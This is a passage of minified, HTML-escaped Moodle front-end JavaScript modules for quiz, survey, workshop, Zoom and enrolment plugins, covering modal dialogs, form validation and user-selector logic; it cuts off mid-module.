form=$(html),existingCategoryFormElement=form.find(SELECTORS_EXISTING_CATEGORY_FORM_ELEMENT),existingCategoryTab=this.getBody().find(SELECTORS_EXISTING_CATEGORY_CONTAINER),newCategoryFormElement=form.find(SELECTORS_NEW_CATEGORY_FORM_ELEMENT),newCategoryTab=this.getBody().find(SELECTORS_NEW_CATEGORY_CONTAINER);this.moveFormElementIntoTab(existingCategoryFormElement,existingCategoryTab),this.moveFormElementIntoTab(newCategoryFormElement,newCategoryTab),this.moveTabsIntoTabContent(form),this.moveCancelButtonToTabs(form),Templates.replaceNode(this.getBody().find(SELECTORS_TAB_CONTENT),form,js)}.bind(this)).then((function(){FormChangeChecker.disableAllChecks()})).fail(Notification.exception)},ModalAddRandomQuestion.prototype.show=function(){Modal.prototype.show.call(this),this.loadedForm||(this.loadForm(),this.loadedForm=!0)},registered||(ModalRegistry.register(ModalAddRandomQuestion.TYPE,ModalAddRandomQuestion,&quot;mod_quiz/modal_add_random_question&quot;),registered=!0),ModalAddRandomQuestion}));
/**
 * Initialise the repaginate dialogue on quiz editing page.
 *
 * @module    mod_quiz/repaginate
 * @copyright 2019 The Open University
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;mod_quiz/repaginate&quot;,[&quot;jquery&quot;,&quot;core/modal_factory&quot;],(function($,ModalFactory){var SELECTORS_REPAGINATECOMMAND=&quot;#repaginatecommand&quot;,SELECTORS_HEADER=&quot;header&quot;,SELECTORS_BODY=&quot;form&quot;;return{init:function(){ModalFactory.create({title:$(SELECTORS_REPAGINATECOMMAND).data(SELECTORS_HEADER),body:$(SELECTORS_REPAGINATECOMMAND).data(SELECTORS_BODY),large:!1},$(SELECTORS_REPAGINATECOMMAND))}}}));
/**
 * Initialise the an add question modal on the quiz page.
 *
 * @module    mod_quiz/add_question_modal_launcher
 * @copyright 2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;mod_quiz/add_question_modal_launcher&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/modal_factory&quot;],(function($,Notification,ModalFactory){return{init:function(modalType,selector,contextId,preShowCallback){let showNewCategory=!(arguments.length&gt;4&amp;&amp;void 0!==arguments[4])||arguments[4];var body=$(&quot;body&quot;);let templateContext={hidden:showNewCategory};return ModalFactory.create({type:modalType,large:!0,templateContext:templateContext,preShowCallback:function(triggerElement,modal){triggerElement=$(triggerElement),modal.setContextId(contextId),modal.setAddOnPageId(triggerElement.attr(&quot;data-addonpage&quot;)),modal.setTitle(triggerElement.attr(&quot;data-header&quot;)),preShowCallback&amp;&amp;preShowCallback(triggerElement,modal)}},[body,selector]).fail(Notification.exception)}}}));
/**
 * Initialise the question bank modal on the quiz page.
 *
 * @module    mod_quiz/quizquestionbank
 * @copyright 2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;mod_quiz/quizquestionbank&quot;,[&quot;mod_quiz/add_question_modal_launcher&quot;,&quot;mod_quiz/modal_quiz_question_bank&quot;],(function(AddQuestionModalLauncher,ModalQuizQuestionBank){return{init:function(contextId){AddQuestionModalLauncher.init(ModalQuizQuestionBank.TYPE,&#039;.menu [data-action=&quot;questionbank&quot;]&#039;,contextId)}}}));
/**
 * Javascript to handle survey validation.
 *
 * @module     mod_survey/validation
 * @copyright  2017 Dan Poltawski &lt;dan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.3
 */
define(&quot;mod_survey/validation&quot;,[&quot;jquery&quot;,&quot;core/str&quot;,&quot;core/modal_factory&quot;,&quot;core/notification&quot;],(function($,Str,ModalFactory,Notification){return{ensureRadiosChosen:function(formid){var modalPromise=Str.get_strings([{key:&quot;error&quot;,component:&quot;moodle&quot;},{key:&quot;questionsnotanswered&quot;,component:&quot;survey&quot;}]).then((function(strings){return ModalFactory.create({type:ModalFactory.types.CANCEL,title:strings[0],body:strings[1]})})).catch(Notification.exception),form=$(&quot;#&quot;+formid);form.submit((function(e){return 0===form.find(&#039;input:radio[data-survey-default=&quot;true&quot;]:checked&#039;).length||(e.preventDefault(),modalPromise.then((function(modal){return modal.show(),!1})))}))}}}));
/**
 * Additional javascript for the Workshop module form.
 *
 * @module      mod_workshop/modform
 * @copyright   The Open University 2018
 * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;mod_workshop/modform&quot;,[&quot;jquery&quot;],(function($){var submissionTypes={text:{available:null,required:null,requiredHidden:null},file:{available:null,required:null,requiredHidden:null}};function checkAvailability(checkUnavailable,checkAvailable){checkUnavailable.available.prop(&quot;checked&quot;)||(checkUnavailable.required.prop(&quot;disabled&quot;,!0),checkUnavailable.required.prop(&quot;checked&quot;,!1),checkAvailable.available.prop(&quot;checked&quot;)&amp;&amp;(checkAvailable.required.prop(&quot;disabled&quot;,!0),checkAvailable.required.prop(&quot;checked&quot;,!0),checkAvailable.requiredHidden.val(1)))}function enableRequired(submissionType){submissionType.required.prop(&quot;disabled&quot;,!1),submissionType.required.prop(&quot;checked&quot;,!1),submissionType.requiredHidden.val(0)}function submissionTypeChanged(){checkAvailability(submissionTypes.file,submissionTypes.text),checkAvailability(submissionTypes.text,submissionTypes.file),submissionTypes.text.available.prop(&quot;checked&quot;)&amp;&amp;submissionTypes.file.available.prop(&quot;checked&quot;)&amp;&amp;(enableRequired(submissionTypes.text),enableRequired(submissionTypes.file))}return{init:function(){submissionTypes.text.available=$(&quot;#id_submissiontypetextavailable&quot;),submissionTypes.text.required=$(&quot;#id_submissiontypetextrequired&quot;),submissionTypes.text.requiredHidden=$(&#039;input[name=&quot;submissiontypetextrequired&quot;][type=&quot;hidden&quot;]&#039;),submissionTypes.file.available=$(&quot;#id_submissiontypefileavailable&quot;),submissionTypes.file.required=$(&quot;#id_submissiontypefilerequired&quot;),submissionTypes.file.requiredHidden=$(&#039;input[name=&quot;submissiontypefilerequired&quot;][type=&quot;hidden&quot;]&#039;),submissionTypes.text.available.on(&quot;change&quot;,submissionTypeChanged),submissionTypes.file.available.on(&quot;change&quot;,submissionTypeChanged),submissionTypeChanged()}}}));
/**
 * Sets the equal height to the user plan widget boxes.
 *
 * @module      mod_workshop/workshopview
 * @category    output
 * @copyright   Loc Nguyen &lt;loc.nguyendinh@harveynash.vn&gt;
 * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;mod_workshop/workshopview&quot;,[&quot;jquery&quot;],(function($){function equalHeight(group){var tallest=0;group.height(&quot;auto&quot;),group.each((function(){var thisHeight=$(this).height();thisHeight&gt;tallest&amp;&amp;(tallest=thisHeight)})),group.height(tallest)}return{init:function(){var $dt=$(&quot;.path-mod-workshop .userplan dt&quot;),$dd=$(&quot;.path-mod-workshop .userplan dd&quot;);equalHeight($dt),equalHeight($dd),$(window).on(&quot;resize&quot;,(function(){equalHeight($dt),equalHeight($dd)}))}}}));
define(&quot;mod_zoom/toggle_text&quot;,[&quot;exports&quot;,&quot;core/str&quot;],(function(_exports,_str){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0;_exports.init=()=&gt;{const button=document.querySelector(&quot;#show-more-button&quot;);if(null!==button){const body=document.querySelector(&quot;#show-more-body&quot;);button.addEventListener(&quot;click&quot;,(async()=&gt;{&quot;&quot;===body.style.display?(body.style.display=&quot;none&quot;,button.innerHTML=await(0,_str.get_string)(&quot;meeting_invite_show&quot;,&quot;mod_zoom&quot;)):(body.style.display=&quot;&quot;,button.innerHTML=await(0,_str.get_string)(&quot;meeting_invite_hide&quot;,&quot;mod_zoom&quot;))}))}}}));
define(&quot;mod_zoom/scheduleforchooser&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0;
/**
   * Schedule for selection handler.
   *
   * @module     mod_zoom/scheduleforchooser
   * @copyright  2022 Antonio Duran Terres &lt;antonio@joomdle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */
const Selectors_fields={selector:&#039;[data-scheduleforchooser-field=&quot;selector&quot;]&#039;,updateButton:&#039;[data-scheduleforchooser-field=&quot;updateButton&quot;]&#039;};_exports.init=()=&gt;{document.querySelector(Selectors_fields.selector).addEventListener(&quot;change&quot;,(e=&gt;{const form=e.target.closest(&quot;form&quot;),updateButton=form.querySelector(Selectors_fields.updateButton),fieldset=updateButton.closest(&quot;fieldset&quot;),url=new URL(form.action);url.hash=fieldset.id,form.action=url.toString(),updateButton.click()}))}}));
/**
 * Populates or de-populates password field based on whether the
 * password is required or not.
 *
 * @copyright  2018 UC Regents
 * @author     Kubilay Agi
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;mod_zoom/form&quot;,[&quot;jquery&quot;,&quot;core/form-autocomplete&quot;,&quot;core/str&quot;,&quot;core/notification&quot;],(function($,autocomplete,str,notification){var SELECTORS_REPEAT_SELECT=&#039;select[name=&quot;recurrence_type&quot;]&#039;,SELECTORS_REPEAT_INTERVAL=&quot;.repeat_interval&quot;,SELECTORS_REPEAT_INTERVAL_DAILY=&quot;#interval_daily&quot;,SELECTORS_REPEAT_INTERVAL_WEEKLY=&quot;#interval_weekly&quot;,SELECTORS_REPEAT_INTERVAL_MONTHLY=&quot;#interval_monthly&quot;,SELECTORS_REPEAT_INTERVAL_OPTIONS=&#039;select[name=&quot;repeat_interval&quot;] option&#039;,SELECTORS_START_TIME=&#039;select[name*=&quot;start_time&quot;]&#039;,SELECTORS_DURATION=&#039;*[name*=&quot;duration&quot;]&#039;,SELECTORS_RECURRING=&#039;input[name=&quot;recurring&quot;][type!=&quot;hidden&quot;]&#039;,SELECTORS_OPTION_JBH=&#039;input[name=&quot;option_jbh&quot;][type!=&quot;hidden&quot;]&#039;,SELECTORS_OPTION_WAITING_ROOM=&#039;input[name=&quot;option_waiting_room&quot;][type!=&quot;hidden&quot;]&#039;,REPEAT_OPTIONS_REPEAT_OPTION_NONE=0,REPEAT_OPTIONS_REPEAT_OPTION_DAILY=1,REPEAT_OPTIONS_REPEAT_OPTION_WEEKLY=2,REPEAT_OPTIONS_REPEAT_OPTION_MONTHLY=3,REPEAT_MAX_OPTIONS_REPEAT_OPTION_WEEKLY=12,REPEAT_MAX_OPTIONS_REPEAT_OPTION_MONTHLY=3,toggleStartTimeDuration=function(){var disabled=!1,repeatVal=parseInt($(SELECTORS_REPEAT_SELECT).val(),10);$(SELECTORS_RECURRING).prop(&quot;checked&quot;)&amp;&amp;repeatVal===REPEAT_OPTIONS_REPEAT_OPTION_NONE&amp;&amp;(disabled=!0),$(SELECTORS_START_TIME).prop(&quot;disabled&quot;,disabled),$(SELECTORS_DURATION).prop(&quot;disabled&quot;,disabled)},toggleRepeatIntervalText=function(){$(SELECTORS_REPEAT_INTERVAL).hide();var repeatSelectVal=parseInt($(SELECTORS_REPEAT_SELECT).val(),10);repeatSelectVal===REPEAT_OPTIONS_REPEAT_OPTION_DAILY?$(SELECTORS_REPEAT_INTERVAL_DAILY).show():repeatSelectVal===REPEAT_OPTIONS_REPEAT_OPTION_WEEKLY?$(SELECTORS_REPEAT_INTERVAL_WEEKLY).show():repeatSelectVal===REPEAT_OPTIONS_REPEAT_OPTION_MONTHLY&amp;&amp;$(SELECTORS_REPEAT_INTERVAL_MONTHLY).show()},limitRepeatValues=function(){var selectedValue=parseInt($(SELECTORS_REPEAT_SELECT).val(),10);$(SELECTORS_REPEAT_INTERVAL_OPTIONS).each((function(){selectedValue===REPEAT_OPTIONS_REPEAT_OPTION_WEEKLY?this.value&gt;REPEAT_MAX_OPTIONS_REPEAT_OPTION_WEEKLY&amp;&amp;$(this).hide():selectedValue===REPEAT_OPTIONS_REPEAT_OPTION_MONTHLY?this.value&gt;REPEAT_MAX_OPTIONS_REPEAT_OPTION_MONTHLY&amp;&amp;$(this).hide():$(this).show()}))},TabsComponent=function(tabsColumn,tabsContentColumn,initialTabsCount,emptyAlert){this.tabsColumn=tabsColumn,this.tabsContentColumn=tabsContentColumn,this.emptyAlert=emptyAlert,this.countTabs=initialTabsCount,this.buildTab=function(item){var tab=item.tab.element,tabLink=$(&quot;.nav-link&quot;,tab);return tab.attr(&quot;id&quot;,&quot;tab-&quot;+this.countTabs),$(&quot;.tab-name&quot;,tabLink).text(item.tab.name),tabLink.attr(&quot;href&quot;,&quot;#link&quot;+this.countTabs),$(&quot;li a&quot;,this.tabsColumn).removeClass(&quot;active&quot;),tabLink.addClass(&quot;active&quot;),tab},this.buildTabContent=function(item){var tabContent=item.tabContent.element;return tabContent.attr(&quot;id&quot;,&quot;link&quot;+this.countTabs),$(&quot;.tab-pane&quot;,this.tabsContentColumn).removeClass(&quot;active&quot;),tabContent.addClass(&quot;active&quot;),tabContent},this.addTab=function(item){var tab=this.buildTab(item),tabContent=this.buildTabContent(item);return this.emptyAlert.addClass(&quot;hidden&quot;),$(&quot;ul&quot;,this.tabsColumn).append(tab),$(&quot;.tab-content&quot;,this.tabsContentColumn).append(tabContent),{element:tab,content:tabContent}},this.deleteTab=function(item){var tab=item,tabContent=$($(&quot;a&quot;,tab).attr(&quot;href&quot;));(tab.remove(),tabContent.remove(),$(&quot;li&quot;,this.tabsColumn).length)?$(&quot;li a.active&quot;,this.tabsColumn).length||$(&quot;li:first-child a&quot;,this.tabsColumn).trigger(&quot;click&quot;):this.emptyAlert.removeClass(&quot;hidden&quot;)}},BreakoutroomsEditor=function(){this.roomsListColumn=$(&quot;#meeting-rooms-list&quot;),this.roomsList=$(&quot;ul&quot;,this.roomsListColumn),this.addBtn=$(&quot;#add-room&quot;,this.roomsListColumn),this.emptyAlert=$(&quot;.empty-alert&quot;,this.roomsListColumn),this.deleteBtn=$(&quot;.delete-room&quot;,this.roomsListColumn),this.roomsDataColumn=$(&quot;#meeting-rooms-data&quot;),this.roomItemToClone=$(&quot;#rooms-list-item&quot;).html(),this.roomItemDataToClone=$(&quot;#rooms-list-item-data&quot;).html(),this.initialRoomsCount=parseInt(this.roomsListColumn.attr(&quot;data-initial-rooms-count&quot;)),this.tabsComponent=new TabsComponent(this.roomsListColumn,this.roomsDataColumn,this.initialRoomsCount,this.emptyAlert),this.init=function(){str.get_strings([{key:&quot;room&quot;,component:&quot;zoom&quot;}]).then().fail(notification.exception),this.addRoomEvent(),this.deleteRoomEvent(),$(&quot;li&quot;,this.roomsListColumn).length?(this.changeRoomNameEvent(),this.buildAutocompleteComponents()):this.emptyAlert.removeClass(&quot;hidden&quot;)},this.addRoomEvent=function(){var thisObject=this;thisObject.addBtn.click((function(){thisObject.tabsComponent.countTabs++;var newRoomName=M.util.get_string(&quot;room&quot;,&quot;zoom&quot;)+&quot; &quot;+thisObject.tabsComponent.countTabs,newRoomElement=$(thisObject.roomItemToClone),newRoomDataElement=$(thisObject.roomItemDataToClone),newRoomIndex=thisObject.tabsComponent.countTabs,roomNameInputId=&quot;room-name-&quot;+newRoomIndex;$(&quot;input[type=text]&quot;,newRoomDataElement).prev().attr(&quot;for&quot;,roomNameInputId),$(&quot;input[type=text]&quot;,newRoomDataElement).attr(&quot;id&quot;,roomNameInputId),$(&quot;input[type=text]&quot;,newRoomDataElement).attr(&quot;name&quot;,roomNameInputId),$(&quot;input[type=text]&quot;,newRoomDataElement).val(newRoomName),$(&quot;input[type=text]&quot;,newRoomDataElement).next().attr(&quot;name&quot;,&quot;rooms[&quot;+newRoomIndex+&quot;]&quot;),$(&quot;input[type=text]&quot;,newRoomDataElement).next().val(newRoomName);var roomParticipantsSelectId=&quot;participants-&quot;+newRoomIndex;$(&quot;.room-participants&quot;,newRoomDataElement).attr(&quot;id&quot;,roomParticipantsSelectId),$(&quot;.room-participants&quot;,newRoomDataElement).attr(&quot;name&quot;,&quot;roomsparticipants[&quot;+newRoomIndex+&quot;][]&quot;);var roomGroupsSelectId=&quot;groups-&quot;+newRoomIndex;$(&quot;.room-groups&quot;,newRoomDataElement).attr(&quot;id&quot;,roomGroupsSelectId),$(&quot;.room-groups&quot;,newRoomDataElement).attr(&quot;name&quot;,&quot;roomsgroups[&quot;+newRoomIndex+&quot;][]&quot;);var newRoom={tab:{name:newRoomName,element:newRoomElement},tabContent:{element:newRoomDataElement}},addedTab=thisObject.tabsComponent.addTab(newRoom);$(&quot;li:last .delete-room&quot;,thisObject.roomsList).click((function(){var thisItem=$(this).closest(&quot;li&quot;);thisObject.tabsComponent.deleteTab(thisItem)})),$(&quot;input[type=text]&quot;,addedTab.content).on(&quot;change keyup paste&quot;,(function(){var newHiddenValue=this.value;$(this).next().val(newHiddenValue),$(&quot;.tab-name&quot;,addedTab.element).text(this.value)})),thisObject.buildAutocompleteComponent(roomParticipantsSelectId,&quot;addparticipant&quot;),thisObject.buildAutocompleteComponent(roomGroupsSelectId,&quot;addparticipantgroup&quot;)}))},this.deleteRoomEvent=function(){var thisObject=this;thisObject.deleteBtn.click((function(){var thisItem=$(this).closest(&quot;li&quot;);thisObject.tabsComponent.deleteTab(thisItem)}))},this.changeRoomNameEvent=function(){var thisObject=this;$(&quot;li&quot;,this.roomsListColumn).each((function(){var tabIndex=$(this).attr(&quot;id&quot;).split(&quot;-&quot;)[1];$(&#039;input[name=&quot;room-name-&#039;+tabIndex+&#039;&quot;]&#039;,thisObject.roomsDataColumn).on(&quot;change keyup paste&quot;,(function(){var newHiddenValue=this.value;$(this).next().val(newHiddenValue),$(&quot;#tab-&quot;+tabIndex+&quot; .tab-name&quot;).text(this.value)}))}))},this.buildAutocompleteComponents=function(){var thisObject=this;$(&quot;.room-participants&quot;,thisObject.roomsDataColumn).each((function(){var thisItemId=$(this).attr(&quot;id&quot;);thisObject.buildAutocompleteComponent(thisItemId,&quot;addparticipant&quot;)})),$(&quot;.room-groups&quot;,thisObject.roomsDataColumn).each((function(){var thisItemId=$(this).attr(&quot;id&quot;);thisObject.buildAutocompleteComponent(thisItemId,&quot;addparticipantgroup&quot;)}))},this.buildAutocompleteComponent=function(id,placeholder){var stringkeys=[{key:placeholder,component:&quot;zoom&quot;},{key:&quot;selectionarea&quot;,component:&quot;zoom&quot;}];str.get_strings(stringkeys).then((function(langstrings){var placeholderString=langstrings[0],noSelectionString=langstrings[1];return autocomplete.enhance(&quot;#&quot;+id,!1,&quot;&quot;,placeholderString,!1,!0,noSelectionString,!0),null})).fail(notification.exception)}};return{init:function(){var optionJoinBeforeHost=$(SELECTORS_OPTION_JBH),optionWaitingRoom=$(SELECTORS_OPTION_WAITING_ROOM);optionJoinBeforeHost.change((function(){!0===optionJoinBeforeHost.is(&quot;:checked&quot;)&amp;&amp;optionWaitingRoom.prop(&quot;checked&quot;,!1)})),optionWaitingRoom.change((function(){!0===optionWaitingRoom.is(&quot;:checked&quot;)&amp;&amp;optionJoinBeforeHost.prop(&quot;checked&quot;,!1)})),toggleStartTimeDuration(),toggleRepeatIntervalText(),limitRepeatValues(),$(SELECTORS_REPEAT_SELECT).change((function(){toggleStartTimeDuration(),toggleRepeatIntervalText(),limitRepeatValues()})),$(SELECTORS_RECURRING).change((function(){toggleStartTimeDuration()})),(new BreakoutroomsEditor).init()}}}));
define(&quot;enrol_lti/tool_endpoints&quot;,[&quot;exports&quot;,&quot;core/copy_to_clipboard&quot;],(function(_exports,_copy_to_clipboard){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0;
/**
   * Module supporting the dynamic and manual registration URLs in the tool registration admin setting.
   *
   * @module     enrol_lti/tool_endpoints
   * @copyright  2021 Jake Dallimore &lt;jrhdallimore@gmail.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */
const SELECTORS_URL_VALUE=&#039;[id^=&quot;lti_tool_endpoint_url_&quot;]&#039;,focusURLHandler=event=&gt;{const triggerElement=event.target.closest(SELECTORS_URL_VALUE);null!==triggerElement&amp;&amp;(event.preventDefault(),triggerElement.select())};_exports.init=()=&gt;{document.addEventListener(&quot;focusin&quot;,focusURLHandler)}}));
define(&quot;enrol_lti/content_select&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0;_exports.init=()=&gt;{document.addEventListener(&quot;change&quot;,(e=&gt;{if(e.target.matches(&quot;input[type=&#039;checkbox&#039;][name^=&#039;modules&#039;]&quot;)){const value=e.target.value,gradecheckbox=document.querySelector(&quot;input[type=&#039;checkbox&#039;][name^=&#039;grades&#039;][value=&#039;&quot;+value+&quot;&#039;]&quot;);gradecheckbox&amp;&amp;(gradecheckbox.checked=e.target.checked)}if(e.target.matches(&quot;input[type=&#039;checkbox&#039;][name^=&#039;grades&#039;]&quot;)){const value=e.target.value,modcheckbox=document.querySelector(&quot;input[type=&#039;checkbox&#039;][name^=&#039;modules&#039;][value=&#039;&quot;+value+&quot;&#039;]&quot;);e.target.checked&amp;&amp;(modcheckbox.checked=!0)}}))}}));
define(&quot;enrol_manual/quickenrolment&quot;,[&quot;exports&quot;,&quot;core_table/dynamic&quot;,&quot;core/str&quot;,&quot;core/toast&quot;,&quot;core/config&quot;,&quot;core/fragment&quot;,&quot;core/modal_events&quot;,&quot;core/modal_factory&quot;,&quot;core/notification&quot;,&quot;jquery&quot;,&quot;core/pending&quot;,&quot;core/prefetch&quot;],(function(_exports,DynamicTable,Str,Toast,_config,_fragment,_modal_events,_modal_factory,_notification,_jquery,_pending,_prefetch){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireWildcard(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}return newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj),newObj}
/**
   * Quick enrolment AMD module.
   *
   * @module     enrol_manual/quickenrolment
   * @copyright  2016 Damyon Wiese &lt;damyon@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,DynamicTable=_interopRequireWildcard(DynamicTable),Str=_interopRequireWildcard(Str),Toast=_interopRequireWildcard(Toast),_config=_interopRequireDefault(_config),_fragment=_interopRequireDefault(_fragment),_modal_events=_interopRequireDefault(_modal_events),_modal_factory=_interopRequireDefault(_modal_factory),_notification=_interopRequireDefault(_notification),_jquery=_interopRequireDefault(_jquery),_pending=_interopRequireDefault(_pending),_prefetch=_interopRequireDefault(_prefetch);const Selectors_cohortSelector=&quot;#id_cohortlist&quot;,Selectors_triggerButtons=&quot;.enrolusersbutton.enrol_manual_plugin [type=&#039;submit&#039;]&quot;,Selectors_unwantedHiddenFields=&quot;input[value=&#039;_qf__force_multiselect_submission&#039;]&quot;,Selectors_buttonWrapper=&#039;[data-region=&quot;wrapper&quot;]&#039;,getBodyForContext=contextId=&gt;_fragment.default.loadFragment(&quot;enrol_manual&quot;,&quot;enrol_users_form&quot;,contextId,{}),registerEventListeners=contextId=&gt;{document.addEventListener(&quot;click&quot;,(e=&gt;{if(e.target.closest(Selectors_triggerButtons))return e.preventDefault(),void showModal((element=&gt;{const wrapper=element.closest(Selectors_buttonWrapper);return DynamicTable.getTableFromId(wrapper.dataset.tableUniqueid)})(e.target),contextId)}))},showModal=(dynamicTable,contextId)=&gt;{const pendingPromise=new _pending.default(&quot;enrol_manual/quickenrolment:showModal&quot;);return _modal_factory.default.create({type:_modal_factory.default.types.SAVE_CANCEL,large:!0,title:Str.get_string(&quot;enrolusers&quot;,&quot;enrol_manual&quot;),body:getBodyForContext(contextId),buttons:{save:Str.get_string(&quot;enrolusers&quot;,&quot;enrol_manual&quot;)}}).then((modal=&gt;(modal.getRoot().on(_modal_events.default.save,(e=&gt;{e.preventDefault(),modal.getRoot().find(&quot;form&quot;).submit()})),modal.getRoot().on(&quot;submit&quot;,&quot;form&quot;,(e=&gt;{e.preventDefault(),submitFormAjax(dynamicTable,modal)})),modal.getRoot().on(_modal_events.default.hidden,(()=&gt;{modal.destroy()})),modal.show(),modal))).then((modal=&gt;Promise.all([modal,modal.getBodyPromise()]))).then((_ref=&gt;{let[modal,body]=_ref;return body.get(0).querySelector(Selectors_cohortSelector)?modal.setSaveButtonText(Str.get_string(&quot;enroluserscohorts&quot;,&quot;enrol_manual&quot;)).then((()=&gt;modal)):modal})).then((modal=&gt;(pendingPromise.resolve(),modal))).catch(_notification.default.exception)},submitFormAjax=(dynamicTable,modal)=&gt;{const form=modal.getRoot().find(&quot;form&quot;);form.get(0).querySelectorAll(Selectors_unwantedHiddenFields).forEach((hiddenField=&gt;hiddenField.remove())),modal.hide(),modal.destroy(),_jquery.default.ajax(&quot;&quot;.concat(_config.default.wwwroot,&quot;/enrol/manual/ajax.php?&quot;).concat(form.serialize()),{type:&quot;GET&quot;,processData:!1,contentType:&quot;application/json&quot;}).then((response=&gt;{if(response.error)throw new Error(response.error);return response.count})).then((count=&gt;Promise.all([Str.get_string(&quot;totalenrolledusers&quot;,&quot;enrol&quot;,count),DynamicTable.refreshTableContent(dynamicTable)]))).then((_ref2=&gt;{let[notificationBody]=_ref2;return notificationBody})).then((notificationBody=&gt;Toast.add(notificationBody))).catch((error=&gt;{_notification.default.addNotification({message:error.message,type:&quot;error&quot;})}))};_exports.init=_ref3=&gt;{let{contextid:contextid}=_ref3;registerEventListeners(contextid),_prefetch.default.prefetchStrings(&quot;enrol_manual&quot;,[&quot;enrolusers&quot;,&quot;enroluserscohorts&quot;]),_prefetch.default.prefetchString(&quot;enrol&quot;,&quot;totalenrolledusers&quot;)}}));
/**
 * Potential user selector module.
 *
 * @module     enrol_manual/form-potential-user-selector
 * @copyright  2016 Damyon Wiese
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;enrol_manual/form-potential-user-selector&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/templates&quot;,&quot;core/str&quot;],(function($,Ajax,Templates,Str){return{processResults:function(selector,results){var users=[];return $.isArray(results)?($.each(results,(function(index,user){users.push({value:user.id,label:user._label})})),users):results},transport:function(selector,query,success,failure){var courseid=$(selector).attr(&quot;courseid&quot;),userfields=$(selector).attr(&quot;userfields&quot;).split(&quot;,&quot;);void 0===courseid&amp;&amp;(courseid=&quot;1&quot;);var enrolid=$(selector).attr(&quot;enrolid&quot;);void 0===enrolid&amp;&amp;(enrolid=&quot;&quot;);var perpage=parseInt($(selector).attr(&quot;perpage&quot;));isNaN(perpage)&amp;&amp;(perpage=100),Ajax.call([{methodname:&quot;core_enrol_get_potential_users&quot;,args:{courseid:courseid,enrolid:enrolid,search:query,searchanywhere:!0,page:0,perpage:perpage+1}}])[0].then((function(results){var promises=[],i=0;if(results.length&lt;=perpage){const profileRegex=/^profile_field_(.*)$/;return $.each(results,(function(index,user){var ctx=user,identity=[];$.each(userfields,(function(i,k){const result=profileRegex.exec(k);result?user.customfields&amp;&amp;user.customfields.forEach((function(customfield){customfield.shortname===result[1]&amp;&amp;(ctx.hasidentity=!0,identity.push(customfield.value))})):void 0!==user[k]&amp;&amp;&quot;&quot;!==user[k]&amp;&amp;(ctx.hasidentity=!0,identity.push(user[k]))})),ctx.identity=identity.join(&quot;, &quot;),promises.push(Templates.render(&quot;enrol_manual/form-user-selector-suggestion&quot;,ctx))})),$.when.apply($.when,promises).then((function(){var args=arguments;$.each(results,(function(index,user){user._label=args[i],i++})),success(results)}))}return Str.get_string(&quot;toomanyuserstoshow&quot;,&quot;core&quot;,&quot;&gt;&quot;+perpage).then((function(toomanyuserstoshow){success(toomanyuserstoshow)}))})).fail(failure)}}}));
/**
 * Controls the content area of the notification area on the
 * notification page.
 *
 * @module     message_popup/notification_area_content_area
 * @copyright  2016 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;message_popup/notification_area_content_area&quot;,[&quot;jquery&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;core/custom_interaction_events&quot;,&quot;message_popup/notification_repository&quot;,&quot;message_popup/notification_area_events&quot;],(function($,Templates,DebugNotification,CustomEvents,NotificationRepo,NotificationAreaEvents){var 